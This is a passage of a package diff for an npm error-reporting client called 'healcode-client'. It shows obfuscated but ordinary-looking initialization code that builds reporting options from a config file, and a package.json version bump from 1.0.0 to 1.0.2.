_0x47ddc2=_0x5d7565[_0x2aaf8d(0x1ef)](p,_0x5d82aa);if(!_0x47ddc2)return console['warn'](_0x5d7565[_0x2aaf8d(0x1ba)]),null;let _0x1a87ed={'token':_0x47ddc2[_0x2aaf8d(0x1c5)],'endpoint':_0x47ddc2[_0x2aaf8d(0x228)],'enabled':_0x47ddc2['enabled'],'captureConsoleErrors':_0x47ddc2[_0x2aaf8d(0x21a)]?.['captureConsoleErrors'],'captureUnhandledRejections':_0x47ddc2['options']?.['captureUnhandledRejections'],'maxBreadcrumbs':_0x47ddc2[_0x2aaf8d(0x21a)]?.[_0x2aaf8d(0x230)]};return new s(_0x1a87ed);}0x0&&(module['exports']={'HealCode':HealCode,'initFromConfig':initFromConfig,'loadConfig':loadConfig});
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "healcode-client",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "HealCode - Automatic error detection and fix generation for your frontend projects",
5
5
  "main": "dist/index.js",
6
6
  "module": "dist/index.mjs",
@@ -45,4 +45,4 @@
45
45
  "tsup": "^8.0.0",
46
46
  "typescript": "^5.0.0"
47
47
  }
48
- }
48
+ }